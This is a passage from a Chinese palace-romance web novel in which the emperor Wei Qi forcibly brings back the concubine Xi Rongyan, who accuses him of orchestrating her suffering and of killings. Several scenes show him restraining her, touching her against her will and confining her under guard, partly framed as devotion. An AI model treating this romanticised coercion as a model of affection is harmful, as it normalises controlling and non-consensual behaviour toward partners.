他又深吸一口气,轻轻拍了拍席容烟的后背:“烟儿,都过去了,往后我再不对你生气。”
席容烟被紧按在魏祁的怀里,几乎喘不过气来。
刚才的那幕让她仍旧心有余悸,却让她更是心头更冷,闭上了眼睛。
魏祁依旧半点听不得他不愿听到的,直到现在,他都没有正视过他们两人真正的问题是什么。
他的确不在意旁人的生死。
魏祁看席容烟终于温顺的没有再挣扎,他神情缓落下来,他更知道他刚才吓着她了。
他手指放到她单薄的后腰上,缓缓的轻捏:“睡吧,明日朕带你回宫。”
后腰的触感却带给席容烟一股凉意,让她的心久久不安宁的狂跳。
她紧闭着眼睛,沉默的没有开口,她只想等魏祁也冷静下来后两人好好说开。
许是魏祁也感受到了她的安静,他的手臂松了松,将她放在榻上。
身后窸窣的声音传来,她微微偏头,在烛灯下就看到魏祁在脱衣裳。
他身上洁白的中衣褪下,露出里头精壮的身躯。
身便床榻陷下去,一股炙热袭上来:“朕先去沐浴,你先睡。”
席容烟不说话,只是看着魏祁这一刻又恢复如常的眼睛。
看着他黑眸对上她的眼睛一瞬又起身,直到他离开,她才从榻上坐了起来。
席容烟看向四周,帐篷外火光明亮,站满人影,显然是站守的侍卫。
席容烟又看到帐篷内一边的桌案上摆满了信件,还放了些折子,她心里总有股感觉,自己遇到的一切都与魏祁有关系。
轻手轻脚的坐起来要去看看时,才发觉她没有鞋,脚悬在半空,又看地上铺了地毯,席容烟便光脚踩了下去。
烛光忽明忽暗,席容烟走到桌案边,看到一封拆开的信,她拿起来在手中,才看了几行,竟然是关于忠靖侯的。
她没有多看又放下去,直到目光落到一封封面上写着日期和广陵的信封上。
仿佛心里的想法得到了印证,席容烟伸手去将那封信拿在手里,急切的想要知道里面写了什么。
只是才刚将里头的信拿出来,帐篷被魏祁从外打开,那道沉黑的目光看过来,席容烟被突如其来出现的人吓得手指一抖,信封和信纸落到了脚边。
魏祁抿着唇走过去,看了眼落在席容烟脚边的信封,又看着席容烟的眼睛挑眉:“烟儿也关心朕的政事?”
席容烟很坦然,直接对着魏祁就问出来:“我去广陵,你是不是都知道?”
“我遇到的那些事,是不是都是你安排的?”
“你将我困在广陵,甚至我今日逃到这里,是不是也都是在你的计划里?”
“那马夫,那镖局的人,还有追我的人,甚至将我追到这里,是不是都是你安排好的。”
魏祁眼眸淡淡,看着席容烟披散的发丝下那张仰起来的脸庞,半隐半暗,随着烛火晃动,眸子里好似还有些质问。
他蹙眉,眼神静的可怕:“烟儿在胡思乱想什么?”
“今日是你跑进了朕的营帐,朕从来没想过你还会回来。”
席容烟要将地上的信捡起来与魏祁对峙,却被魏祁握住了手腕,低低的声音里是沉沉的压迫:“烟儿,别胡思乱想。”
“回来了,那些事情都不重要了。”
说着他将席容烟禁锢在怀里,手指落在席容烟的披散的乱发上,垂着眸子:“你给朕下药,让朕眼睁睁看着你服毒的时候,你知道朕有多伤心?”
“你这样欺骗朕,现在又怀疑朕?”
“你是不是觉得朕不会生气?”
席容烟愣了愣。
愣神时身子已经被魏祁牵着往床榻上走去,他身上的黑色敞衣不知道被他什么时候脱去,他光裸的上身正赤裸的暴露在她面前。
那身上炙热的气息袭来,席容烟皱眉偏过头去。
她不指望魏祁会承认了。
即便他承认了又如何,他依旧觉得他做的都是理所应当的事情。
这些日子每当她赚到了银子就被人抢走,她在广陵事事不如意,雇一辆马车也遇上了贼人,又刚好被追到了这里。
她怎么能信魏祁的话。
只是她不想与他开口,她也知道自己说不过他,他一向做事缜密,不会对她留下痕迹的。
他咬定了不说,自己能拿他什么法子。
魏祁见席容烟又侧过脸去像是不耐烦看他的样子,还蹙着眉,想着该是又发脾气了。
其实承不承认又没什么,他这么做都是为了她好。
但承认下来按着席容烟现在的性子,八成又要闹,他疲于应付她的质问,也不想自己被她气死。
此刻她还有些苍白的面容柔软的露在他面前,朱唇细眉,微湿的发丝流转着微光,散发着淡淡幽香气。
他垂了垂眼眸,不可控制的往她身上贴近。
不管她怎么闹脾气,怎么任性,只要她能够哄得好,他其实都愿意受着。
过去的事情总会过去的,他希望她闹了这一回就好了。
他捧着她脸庞,想要吻过去,却看见席容烟又瞪过来的眼睛时一愣。
席容烟不理解魏祁在做出这些事情后,又怎么能够再做这样的举动。
他让她在广陵举步维艰,他如今矢口否认,全当她是什么都不在意的木头么。
魏祁看着席容烟轻蹙的细眉,发亮的黑眸紧紧看着他,是一股无声的抗拒。
魏祁垂着眉目,静静对着席容烟的眼睛。
他捏着她的手与她十指紧扣,沉下肩膀,在她耳边轻轻问她:“烟儿到底想让朕怎么做。”
席容烟对上的是魏祁毫不掩饰的阴翳眼眸,眯着眼,发出冷清的寒光,正清晰的在告诉她,他此刻的情绪。
让她小心翼翼,让她
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听话,更让她明白后果。
这是魏祁惯常用的方式,不动声色的压迫,看人的眼底仿佛在看着她不自量力。
但这时候还有什么可怕的,席容烟轻声问:“顾韫玉出事,是不是……”
魏祁依旧不让她的话说完,低低含着愠怒的声音就打断她:“朕说过,别再提那个**。”
“烟儿,朕一直在忍耐着,你是不是真的看不出来?”
那个**。
在他眼里就是一个**。
她闭上眼睛,偏着头。
是的,再没什么好说的,她竟也试图与魏祁将所有事情摊开好好说完,可已死的人在他眼里都不过是无关要紧的**,怎么值得让他好好说。
散落的乌发下露出稀薄的白净脸颊,不着铅华的素净容色偏头埋在枕间,席容烟的思绪一片空白,再不想看魏祁一眼。
魏祁手指落在席容烟的肩膀上,刚才为吓她,故意压迫的沉声,说话重了些,这时候又有些不忍心。
他用了这么多心思,特意过来这里等着她,不是为了与她闹脾气,他是想给彼此一个顺理成章的台阶,一切自然而然的继续下去。
他弯腰,手指轻轻抚过她沉静眉目上,又无奈的叹息,先开口哄她:“烟儿,你听话,别再想过去的人。”
“朕与你重新开始。”
“前世的事情都当它过去,与我们也再也不相关了。”
“现在朕才是你的第一个男人。”
“朕许过你一生一世一双人,等你回去做上皇后,朕就会昭告天下,永不再纳妃。”
席容烟别过眼去。
魏祁瞧着席容烟的反应,这会儿看人在外一个月吃了这么多苦可怜,真不愿与她置气,好脾气的将她的身子拢在怀里,又轻轻拍了拍她的后背:“烟儿,与朕置气又何必,你身子瘦了些,呆在朕身边,好好养好身子,我们也很快会有我们的孩子的。”
温热的宽大的手掌从那秀气的后背抚到她后腰上,手指摩挲在她腰间,又在她发顶轻吻,极尽缱绻温柔。
席容烟被按在魏祁怀里,她睁开眼睛,眼前昏暗一片,是魏祁身上投下来的暗影,像是无形的牢笼,在紧紧将她包裹住。
她又察觉到在她腰后的手指从她衣摆出探进去,像是在一点点浅浅试探她的服从听话,渐渐的往上,带给她愈加难受的心境。
耳廓上能感受到那炙热的呼吸,那只手从后背探到身前,席容烟再受不住,伸手挡住他。
魏祁顿了一下,低头看着怀里的人,见席容烟依旧没有动,依稀只能看到她微微颤动的睫毛和秀挺的鼻梁。
这会儿她好似很听话,但又有些使性子。
他扯了扯唇角笑了下,从她衣裳里将手拿出来,又放到她的后背上。
他稍了解席容烟,她绝不是能吃苦的性子,这回遇到的险事,也会让她意识到独身在外是保不了身的,她离开自己也不会过的好。
他慢慢容忍她这些日子小小的情绪就是,她很快就能想明白了。
耳边是魏祁平顺有力的心跳声,席容烟在半夜抬头,看向魏祁闭着的眼睛,又微微从他怀里撑起身看向外头,依旧人影站立,她愣了愣,又从他怀里翻了个身。
那只手还环在她的腰上,她微微一动,那只手就紧一下,又将她往他怀里拢。
她动了动,柔软的床塌还是让她抵不住睡意,也没什么力气挣扎,疲倦的睡了过去。
到了第二日她睡的正沉,后颈上传来炙热的痒,又觉得一股痒痒的疼,扰的席容烟难受的很。
她半梦半醒,昨日赶路等了一天,夜里又胆战心惊的跑了一路,又半夜才睡,这会儿巴不得能睡一天。
反正也逃不走,她只想多睡会儿,不由身手往后拍去,又将脸捂在被中。
魏祁低头幽深的看着席容烟拿露出来的纤细后颈,又看着上面自己刚才咬出来的红痕,笑了下。
又看人显然不耐烦他碰,整张脸全埋在被子里,只露出黑发出来。
魏祁笑了笑,起身披上衣裳走了出去。
第174章 到底有什么做得不好的?
等席容烟睡饱了醒来的时候,一侧头就看到宝珠正紧张的守在床边。
席容烟浑身还懒着,见着魏祁没在,稍松了一口气。
宝珠一见席容烟醒来就连忙问:“昨天皇上怪主子了么?”
“奴婢早上见着皇上好似心情不大好,冷着脸有点吓人。”
席容烟想着,昨天自己定然是惹魏祁不高兴了。
不高兴便不高兴吧。
她不去想他,又问宝珠:“银子还在身上么?”
宝珠一下瞪大眼睛白着脸看向席容烟,小声道:“主子还想跑?”
“外头全都是侍卫,昨晚上奴婢为您担惊受怕了一夜,就怕皇上问罪。”
说着宝珠担心的问席容烟:“昨夜的事情,主子是怎么和皇上解释的?”
席容烟与魏祁之间的事情复杂,解释起来也麻烦,她低声道:“这事你别担心。”
“刚才我也是随口问你的。”
“你先别想太多。”
席容烟又从床榻上坐起来:“你先给我穿衣。”
宝珠忙去旁边的架子上拿了衣裳过来,浅黛色的春裙,上头绣着竹叶纹,金线闪烁。
宝珠一边为席容烟穿戴一边低声道:“皇上说等主子起来了就在帐篷里不要出去。”
"早膳一会儿就端来了。"
正说着话,外头就有两名女侍端着早膳进来,又低着头出去。
席容烟往饭菜看去一眼,目光又落到那张书桌上。
宝珠正在给她束腰,席容烟起身就往桌便走,昨天的信件还落在地上,席容烟忙捡起来打开,里头的却是广陵县令送来的问安信件。
席容烟又忙往桌上看去,昨夜好似整齐的一沓,现在只有寥寥几封放在了桌上。
她想了下,想着定然是魏祁给拿走了
这时候帐篷从外头被掀开,席容烟一抬头,就看到魏祁走了过来。
她顿了一下,又自然而然的坐在椅子上,让宝珠给她束腰。
魏祁站到席容烟的身边,看了眼桌上,又低头看向席容烟脸庞,他顿了顿,问她:“昨夜睡好了么?”
席容烟没有抬头,连回答一声都懒得回。
魏祁抿唇,将手上的匣子送到席容烟面前:“你看看喜欢么。”
席容烟将匣子打开,里头是几件首饰。
头顶又传来魏祁的声音:“朕看你身上没有首饰,让人去给你买了几件。”
席容烟看了一眼又合上盒子,接着就随手放在了一边。
这些金簪玉坠,于她此刻没有任何意义。
魏祁看着席容烟这冷淡的反应,坐在了她身边的椅子上。
他摆摆手让宝珠退下去,接着他看着席容烟的眼睛:“对朕不满?”
席容烟抬头看向魏祁。
她昨夜想问的话她不让她问,她想说的话又不让她说,现在又来问她这话。
好似他会在意她的想法一般。
席容烟别过眼睛,不想开口。
魏祁紧绷着脸,不悦的开口:“还要闹多久?”
黛蓝色衬得那张娇颜越发白净秀美,低垂的眸子眼尾微挑,漾着缕缕稀薄的光色。
席容烟低声道:“我没有闹。”
“我从来都没有闹过。”
魏祁脸色沉下去。
他不说话,对她依旧理智的克制着情绪。
他打开桌上的匣子,从里面拿出一只粉玉缠枝簪插入到席容烟素挽的发上,又牵着她去饭桌前用膳。
他将一碗燕窝粥送到她面前:“早膳后,我们就回宫。”
魏祁的话没有要和席容烟商量的意思,他只是在告诉她这个决定。
席容烟低头吃了一口燕窝粥,没有反应。
她知道自己再说什么都不可能改变他的决定。
她又忽然问:“昨夜我出事,皇上为什么这么巧的出现在这里。”
魏祁静静对上席容烟的眼睛:“烟儿,要是朕没有在这里的话,你可能就落到他们手里了。”
“你知道下场么。”
席容烟淡了淡眼眸,不说话。
她能把握住自己的命运,如果魏祁不插手的话。
她也不是冲动行事。
魏祁又静静看着席容烟的眼眸:"朕在秋霞行宫行猎,听说这里有红狐,便过来了。"
席容烟问:“皇上打到了么?”
魏祁漫不经心的看她:“没有。”
席容烟听罢又低头默默吃粥。
只是吃了两口却没什胃口了,她也依旧将一碗粥吃完了,净了口,又看向魏祁,认认真真的低声道:“我们可以好好聊聊吗?”
魏祁伸手握住席容烟的手:“马车已经准备好了,我们去马车上说。”
席容烟被魏祁拉着起身,眼看着要走出去时,席容烟依旧将自己压了一夜的话说了出来:“你能不能给我自由。”
魏祁转身,气得手指一抖。
他紧紧掐着席容烟的手腕问她:“朕到底有什么做得不好的?”
“朕到底有什么亏欠你的?”
魏祁那紧紧捏在她手腕上的手指,一如他前世里总是这样箍紧她,从来都不在乎她疼不疼。
席容烟认真的对上魏祁的眼眸:“因为你强迫我。”
“因为你杀了盛儿,你还杀了顾韫玉。”
“你还杀了许多无辜的人。”
“你也从来没有问过我愿不愿意。”
“不管前世还是现在,你做的一切,有没有在意过我的想法?”
席容烟的话才说完,便听到魏祁一声低怒的低吼:“那都是上一世的事情了!”
有些震耳的声音灌入席容烟的耳膜,她震惊的看着魏祁此刻变得阴冷的脸庞,那双眼睛里的火光跳跃,像是一头残暴的猛兽在怒吼。
她不禁往后退了退,心头升腾起恐惧来,她惊恐的摇头,轻声道:“上一世的事情便抹去了么?”
“你杀的人,便不算你的罪孽么。”
魏祁紧握在席容烟手腕上的手指都在发抖,愤怒让他无法在席容烟面前克制情绪。
那个孩子,那个她和顾韫玉的孩子就这么重要么。
那她杀死他们之间的孩子,算不算她的罪孽。
积压的情绪终究控制不住,他将她一步步紧逼着按在后面床榻上,几乎是声嘶力竭的问她:“那你杀死我们的孩子的时候,你有没有想过那也是一条性命。”
“有没有想过朕会伤心。”
“那个孩子,谁为他做主过,朕恨过你没有?”
“为什么你就紧抓着那个孩子不放?!”
“顾韫玉是自己吊死的,不是朕杀了他!”
下颌被魏祁紧紧的捏在掌心,被他的手掌固定动弹不得,双手被他另一只手紧紧按在头顶,身子被他紧压,看着他狰狞的眼底,让席容烟浑身都在战栗。
她张张口,她本想说她与魏祁的那个孩子本来就不该生下来。
可扑到面前的炙热气息,和魏祁眼底隐隐的血丝告诉她,她不能再激怒魏祁。
她见过他最可怕的一面,她绝承受不了。
此刻魏祁的面容已经足够可怕。
魏祁见席容烟不说话,捏在她下巴上的手指紧了紧。
他低头靠近她,看着她苍白的脸庞,知道大抵自己又吓着她了,咬咬牙缓了缓声音:“烟儿。”
“你亲手杀死的那个孩子,在你心里,他到底算什么?”
“你为他伤心过么?”
席容烟垂着眼眸,指尖轻颤。
魏祁的眼里红了红,他的手指紧紧捏在席容烟的肩膀上,看到她伤心的神情:“烟儿,朕早不怪你了。”
“我们还会有孩子的。”
“这一世你和朕名正言顺,没有人会在你身指点。”
“我们的孩子将来会继承大统,朕也会给席家荣耀。”
席容烟抬起眼帘,对上的是魏祁阴沉又如墨的眼眸。
她始终看不透这个人。
他总是避重就轻,从来不曾与她好好说过他们之间的鸿沟。
她在意的不是她的孩子会不会当上太子,她在意的是因为她死去的人。
她怎么可能会与亲手杀死自己孩子的恶魔呆在一起。
哪怕魏祁后悔,哪怕他说他做错了。
她也没这么怪他。
但魏祁没有,他丝毫没有觉得他不应该那样做。
前世他逼死了顾韫玉,这一世他又害死了他,连她进宫都是他一手安排好的。
面前的人依旧如前世一样算计,没有丝毫改变。
她摇头:“可我不想要。”
魏祁手指一抖,眼底升起恼怒来。
他深吸一口气,又低低咬牙道:“前世朕没有杀盛儿。”
“那时候你和朕正是和好的时候,朕怎么可能杀他。”
席容烟便知道魏祁不会承认的。
那天在河边,盛儿落水的时候,她亲眼看到高义在就在那个地方,在她目光看过去的时候,高义就急匆匆的走了。
魏祁知道盛儿喜欢去湖水玩耍,他让人挖空了那个地方的湖岸,盛儿一踩上去就去落下去。
才不到四岁的孩子,穿着厚厚的棉衣,小小的身子在水里扑腾才两下就沉了下去。
冬天的水那么冷,救上来的时候脸就已经紫了。
她对上他的眼睛问他:“不是你,还会是谁?”
“还会是谁那样做。”
“还有这一世的顾韫玉忽然出事,你为什么就是不承认?”
魏祁深吸一口气。
他低低看她:“顾韫玉死不死就这么重要?"
“前世朕只是威胁他与你和离,但朕想,若是他有骨气忤逆朕,朕倒高看他。”
“但他吓得就回去上吊,这样软弱的男人,他根本不可能护得住你。”
“你到底喜欢他什么。”
席容烟怔怔看着魏祁甚至有些冷清的眼睛。
他竟说都不重要。
一条人命不重要,什么才是最重要的。
魏祁紧了紧手,他也有一种无力。
用了太多手段,他的确不敢承认。
他怕他一旦承认下来,两人之间一点余地都没有了。他其实都知道她是因为什么与他置气,就是因为知道才害怕从她口中被反复提起。
他叹息一声,低头看着她:“你和顾韫玉的孩子,不是朕杀的。”
“是魏恒。”
“还有这一世朕没必要非要杀顾褞玉,他出事的时候朕也很诧异,但朕会让人去查,朕会将顾韫玉的死给你交待的。”
说着魏祁将席容烟的脸庞按在肩膀上:“烟儿,你信朕。”
“前世盛儿的事情朕查出来也没有证据了,你那天在池边看到的那个与高义相似的人,也是魏恒故意让你看到的。”
“朕既然要对那孩子下手,怎么又会让高义过去,朕定然不会让你发现端倪的。”
“你好好想想,那孩子死了,你只能怀疑是朕做的。”
“你什么都能误会朕,唯独那个孩子,朕再厌恶他,也不会对一个孩子下手。”
这时候帐篷外又传来高义小心的声音:“陛下,一切都收拾妥当了。”
魏祁低头用手指擦去席容烟的泪光,捧着她染着红晕的湿润脸庞:“烟儿,与朕回去,朕与你慢慢解释。”
“你要怎么处置魏恒,朕都应你。”
魏祁要去将席容烟的身子抱起来,却被席容烟挡开,自己撑着从榻上坐了起来。
刚才被魏祁按在床榻上时挽好的发丝有几缕散落下来,挡住了视线,她将发丝别到耳后,又看向发皱的裙摆,再沉默的伸手理了理。
盛儿的事情席容烟或许会信魏祁的话,因为魏祁动手的话,不会特意让她看见高义。
其实那天她也没有看清高义的样子,只是身形和衣服动作一样,就下意识的将他当做了高义。
但即便魏祁真的要栽赃,也没必要栽赃给魏恒。
盛儿的事情席容烟或许可以说服自己信他,但顾韫玉的事情,席容烟说服不了。
前世都好好的人,这一世为什么会出事,这一世发生了改变,只能是也发生了改变的人做的。
魏祁在旁边静静的看着席容烟的动作,等到席容烟弄好了,才牵着她往外头走。
席容烟挣了挣,发现挣脱不掉又算了。
帐篷外的头的光线刺眼,席容烟眯了眯眼睛,稍微有些不适应。
周围都是佩剑的侍卫,严阵以待的守在四周,围城了一个密不透风的网,让她乖乖听话,让她认清现实。
她即便要逃走也逃不掉。
魏祁伸手要扶着席容烟上马车,却被席容烟一手就给推开了,接着自己提着裙摆就上了马车。
站在旁边的高义都看得胆战心惊的,往后退了一步,只求别殃及池鱼。
魏祁沉了沉眸子,又深吸一口气跟在席容烟身后上去。
马车内很宽敞,地上还放着冰块,小几上还放着凉爽的荔枝。
席容烟一上去就坐在了一个角落里,魏祁往她身边靠过来一点,她就往一边挪。
魏祁抿了抿唇,让马车往前走,又将荔枝送到席容烟面前,让她吃一颗。
席容烟只是垂眸看了一眼,又别开了目光。
魏祁将碟子放在小几上,亲自为她剥了一颗送到她唇边:“与朕闹脾气也没必要亏着自己。”
席容烟依旧别过脸,冷清又冷淡,一句话也不给。
魏祁看着手上如白玉的荔枝,又放回了碟子里。
身边传来席容烟低低的声音:“我不想回宫。”
魏祁没说话,低头看着手上高义送进来的折子,许久也没有给席容烟一个回应。
第175章 上睡在这儿,我便睡别处去
席容烟原本以为魏祁会依旧带着她回宫,没想到却带她去了行宫里。
深夜里才到的行宫,席容烟在马车上早都昏昏欲睡了,这会儿到了地方,巴不得一沾床便睡。
魏祁看着席容烟神情,在马车上与他闹别扭一整天没有他说话,又犟着不愿意躺下去睡一会儿,是极少见到席容烟这么犟的时候。
他又顿了一下,‘想着或许过几天就好了。
去牵她的手依旧被她打开,魏祁也不强求,走在她前面。
早有人提前过来安排好了一切,席容烟一去寝房,浴桶里早已放好了水。
魏祁在另一间屋子里沐浴完坐在床边等着席容烟出来,只是等来的依旧是一张冷清清的脸。
席容烟看了眼魏祁,见着他坐在床榻边,直接就往外头走。
魏祁一愣,起身拉住她手腕问:“这时候你还要去哪儿。”
席容烟看向魏祁:"皇上睡在这儿,我便睡别处去,"
昨夜席容烟让魏祁睡在身边,是因为那是在外头搭的帐篷,估计也没别的地方,现在这里是行宫,最不缺的就是睡觉的屋子。
旁边的侍女被席容烟的话吓了吓,传说中得宠的宸妃娘娘,私底下也敢这么与皇上说话么。
她们面面相觑之后又忙轻轻的退到外头,生怕听了不该听的,看到了不该看的。
魏祁脸色阴下去,看着席容烟:“你是朕的人,你不与朕睡在一处?”
席容烟早就破罐破摔了,她在晃动的烛火中看着魏祁:“我为什么进宫,难道皇上不知道么?”
魏祁的脸色一沉。
他看着席容烟的眼眸,静静的映着烛光,却比任何时候都要认真的在质问他。
即便他的确用了手段,魏祁也并不觉得那有什么。
他只当席容烟因为还没放下过去的事情在怪他,他抿了抿唇,对她稍作退步:“朕不碰你。”
漂亮的丹青眉目,此刻眼里却漾着淡淡嘲讽:“即便皇上要对我做什么,我能拒绝么?”
“皇上不是想做什么便做什么么?”
“你从前不也将我囚禁在宫殿里,不让我出去么。”
冷冷清清的语气就如软刀子往身上扎。
魏祁深吸一口气,努力让自己不与席容烟计较,他皱眉,握着她的手往床榻上走:“这时候是深夜了,有什么明日再说。”
“现在早点休息。”
“你现在讨厌朕,朕不挨着你行不行?”
席容烟看了眼魏祁,眼里依旧讽刺。
无声的沉默抗拒才是最伤人的。
特别是席容烟又提起了从前的事。
若是提起前世,魏祁就知道自己是千万般对不住她的,她一旦开口,便会片甲不留,毫无底气。
魏祁败下阵来,在昏黄烛火中看着柔弱又坚韧的人:“你睡这儿,朕睡隔间。”
席容烟便低头看向魏祁紧紧握在她手腕上的手指。
魏祁抿了抿唇松开手,又深深看席容烟一眼,转身走了出去。
伺候在外间的高义看魏祁往茶室休息的小榻去,先还不明所以,直到看到魏祁一脸沉黑的躺下去,才吓了一跳的忙跟上去问:“陛下是觉得寝屋的床榻睡着不舒服?”
魏祁翻了个身,懒得理会高义。
月余没见的人,现在想要同床共枕也不行了。
也不知道席容烟这场闹脾气,到底要多久才会过去。
原本还想哄一哄与她亲近,早成了泡影。
高义看着那张不大的小榻,皇上睡在上头着实看起来还有点可怜,那小榻也着实窄了一些。
他也不知道皇上和宸妃娘娘之间到底出了什么事,但看样子像是被宸妃娘娘赶出来了一样……
但就算是这样,但又何必偏要睡在这儿受罪呢。
虽说看着皇上的脸色不好,高义还是颤颤巍巍的开口:“不远处的漱石居也收拾好了,要不陛下往那儿去就寝吧。”
高义才刚说完话,脚边便砸过来一只茶盏,冷冷的一声滚出去,让高义连忙连滚带爬的往外头走。
生怕皇上在宸妃娘娘那儿受的气,全撒在他身上。
这头席容烟听着隔壁的动静,躺在床榻神色不变。
知道自己逃脱不了魏祁的掌控,她就随心所欲的来,总之是互相折磨。
她不否认魏祁对她的一些好,但是魏祁始终都没有意识到过,他对她从来都是步步紧逼和掠夺。
就如这一次,他切断她的后路逼着她,从来都没有问过她愿不愿意。
任何时候,他都没问过她愿不愿。
他的喜欢,是一意孤行,她的感受并不在他思考的范围中,又或许是他根本不在意。
就如他不在意一条人命,轻飘飘的一句死人,就将一切都翻过去。
他更觉得,他得到了她,她就应该听话,应该顺从,应该认命。
反抗便是忤逆他,不知好歹。
甚至连身边许多人也这般觉得。
倒是蹲在床边的宝珠被吓得心肝乱颤,白着脸看向席容烟:“听着动静,皇上好似生气了。”
席容烟安慰宝珠自己去睡,都这样了,她也不怕魏祁会不会生气。
宝珠眼里依旧带着担心,将皇上赶出屋子不让上榻,这怕是传出去了都没人信。
宝珠心惊胆战的,席容烟却是一夜睡得大好。
醒来的时候光线刺目,负责晨起的侍女早就站在了一边等候了。
席容烟没看到魏祁的身影,她也没有问,梳洗穿戴完又去用早膳。
倒是用完早膳的时候,高义十分殷勤的抱着两只小野兔过来往席容烟面前送去:“这是陛下早上为宸妃娘娘抓的小野兔,说是拿来给您逗趣儿的。”
席容烟往高义怀里看去,不大的小野兔才手掌大,毛茸茸的确是可爱的紧的,可一看就还小,不由问:“母兔呢?”
高义一愣。
又见席容烟脸色淡淡的摆手:“还请高公公送它们回去吧。”
高义想说母兔都被陛下射死了。
今早皇上天不亮就阴沉着脸去打猎,想来还是心头有郁气往外发泄,逮着只兔子也要一窝端。
要不是他说那兔子可以给宸妃娘娘讨讨欢心,估计也是箭下亡魂了。
可是这会儿这话他不敢说,连忙应是,又往皇上那里去回话。
魏祁在书房内皱眉处理着这两日积压下的折子,眼神一瞟,就见着高义怀里的兔子,显然席容烟没要。
又将冷冷的目光放在高义身上。
高义被魏祁看得浑身发冷,跪下去不敢说话。
魏祁又冷笑一声:“想法子让她高兴,不然朕回不了寝屋睡,你晚上也跪着睡在旁边。”
高义心头六月飘雪,脸上半点不敢表现出来,连连应是。
只是陛下都讨好不了的人,他又有什么法子。
这会儿退出去又赶紧让人去给他坐两副厚厚的护膝来,不然这双腿真受不住。
席容烟在午膳的时候才见到魏祁。
此时席容烟正靠在小榻上看书,看到魏祁过来,垂着的眼眸连抬起往他身上看一眼都不曾。
从昨夜宸妃娘娘将皇上赶去旁屋睡后,屋内伺候的侍女见到宸妃没有起身迎接皇上,居然半点诧异也没有,都默契的退到了角落处去,生怕看见了什么。
魏祁沉默的过去席容烟身边的椅子上坐下,往席容烟手上的书看去一眼,见她在看地志,脸色就是一黑,伸手将席容烟手上的书拿了过来,扔到了一边的桌上。
席容烟转头瞪向魏祁:“你又做什么。”
魏祁抿着唇,沉黑的眼眸看着席容烟:“还想着跑?”
席容烟侧过身去,赌气般低低的声音传来:“皇上说笑了,我怎么敢跑,跑了我身边的人皇上不是都要杀了。”
魏祁看着席容烟的背影,也不知道这回回来怎么脾气变得这么大。
他伸手想落在那翠色背影上,犹豫几许还是又收回手。
他看着席容烟没有钗饰的素素挽起的黑发,浑身除了手上的镯子,再没其他妆点。
素素净净,洗尽铅华,却更冷清了。
八月明亮的光线从窗外投进来,浮光落在席容烟身上,她手上的浮金团扇起起伏伏,一如魏祁此刻难得起伏的心。
他又道:“朕可以带你出去听听戏。”
高义今日提醒的也没错,席容烟想走,她离开皇宫不愿回去,或许也是太闷了。
这月余席容烟在外头虽然受苦,但却仍旧没想过回来,他开始反思,是不是自己真的束缚她太紧,没有给过她自由。
他低低的声音难得的带着丝讨好,换来的也是席容烟略带着讥讽的声音:“皇上不怕我跑了?”
“我可不敢惹皇上猜疑。”
魏祁沉眸,又皱紧眉头。
他倒是知道席容烟在气头上,席容烟将她在广陵遇到的事情全算在他头上,其实也没算怪错了,自己也的确不讲理,用这种方式在逼她。
这时候与她说理吵架只会适得其反,魏祁也没生气,只道:“这里燥热,我带你去凉殿里用膳。”
说着魏祁起身走到席容烟面前,坐在她的小榻上低头看她:“与朕置气也罢,但没必要不用膳。”
席容烟依旧没看魏祁,她撑着头,目光落在旁边小几上的冰裂纹耳瓶上,余光扫过魏祁身上的黑袍一眼,又垂下目光。
不得不承认,这一世的魏祁真的变了许多。
前世的魏祁很少有这样温和退让的时候,他更多的是威胁胁迫她。
他要做的事情必然要做到,无论你怎么反抗也无用。
她不语,却是从小榻上撑着坐了起来。
两人一前一后的走,魏祁走在前头,顿住步子看着离自己三步的远的人。
就跟小孩子闹脾气似的,你顿住步子,她也不走了。
魏祁扯了扯唇角,掩盖住涌出的无奈,又继续往前。
才走近凉殿,就能够听到哗哗的水声。
凉殿外是引的外头的活水,再有一个极大的水车,水车将水洒在屋顶上,水滴便哗哗从屋檐下落下,便如下雨一般,一入内就极凉爽。
席容烟也没想到里头这样清凉,看向窗外如丝雨幕,心也更静了。
魏祁带着席容烟用膳,用膳时他往席容烟碗中夹了她喜欢的菜,都被席容烟给扒到了一边,直到最后也不吃。
魏祁默默看着,又看着席容烟垂眸用膳的模样。
唯一让他欣慰的是,席容烟倒没有因为与他置气没怎么吃,相反,她吃的津津有味,比从前吃的更多了。
到底是吃过了苦,如今也不怎么挑食了。
下午魏祁依旧忙碌,留着席容烟在凉殿里。
他走的时候对着席容烟低低道:“朕过两天就多陪你一会儿。”
席容烟巴不得他快走,低头扯着花瓣扔在池子里,依旧不回答。
魏祁默默看着人侧脸半晌,如今连碰她一片衣角她都要嫌弃的躲开,心里想了无数哄她的法子,好似都哄不好一样。
他无声的起身,走到帘子处也没有见到席容烟回头往他身上看看,又沉了眸子离开。
到了夜里的时候,魏祁手上端着冰镇琥珀荔枝糕来,进屋的时候却发觉席容烟竟睡了。
这些日他的确很忙,忠靖候府的事情也要在这几日处理好,但再忙也没有太晚过来,这时候还不到戌时,以往席容烟入睡的没有这么早。
他轻手轻脚走到床榻前,看着昏暗的灯火下的人,腰上盖了件薄缠丝,发丝落在枕上,但并不是散开的。
他目光又落到席容烟侧脸上,依稀可以看到她的长睫在轻颤。
最后又将目光落到枕下露出一角的书册上。
是他中午拿走的书,他从枕下拖出来,那是金陵。
他记得席容烟在广陵就打算去金陵的。
他抿抿唇,将书册放在一边,沉默的看了席容烟半晌。
他知道她是醒着的,不过他来了便睡了。
魏祁强忍着心头那一股郁燥气,将手覆在了席容烟的腰上。
他将人翻了过来,席容烟依旧闭着眼睛,总之就是不愿看他一眼。
这两日将他视为无物,视为空气,偏又不能拿她怎样,不然她说出来的话也能将人气死。
他知道对她有亏欠,但席容烟这般不开口,不看他,他倒是宁愿她闹一闹了。
魏祁坐在床榻边低头:“你想去金陵?你要是想去,等这阵子忙完了,朕带你南下巡游。”
第176章 魏祁病了
席容烟不说话,又要翻身过去。
魏祁按着她的腰不让她动,又叹息一声沉肩靠近,看着席容烟别过去的脸庞,他放低声音无奈道:“还要与朕置气多久?”
回应他的自然只有沉默。
魏祁又问:“现在连与朕说话都不愿了?”
席容烟这才睁开眼,她看着一处失神,又道:“我与皇上没什么话好说的。”
魏祁看人终于肯开口,心放下一半,又将人托起来带进怀里坐着,低头闻着她身上的幽香又叹息。
他按着她乱动要走的身子,低声服软:“是朕错了。”
“朕不该逼你回来。”
“既回来了,你怎么怪朕也好,但你与朕始终要过一生,难不成一辈子与朕疏远着。”
说着魏祁又安抚的抚了抚席容烟的发丝:“朕打算让你大哥任太常礼院,再等两年,朕再让他任礼部侍郎,知审判院。”
“烟儿,朕补偿你,补偿席家,别与朕置气了。”
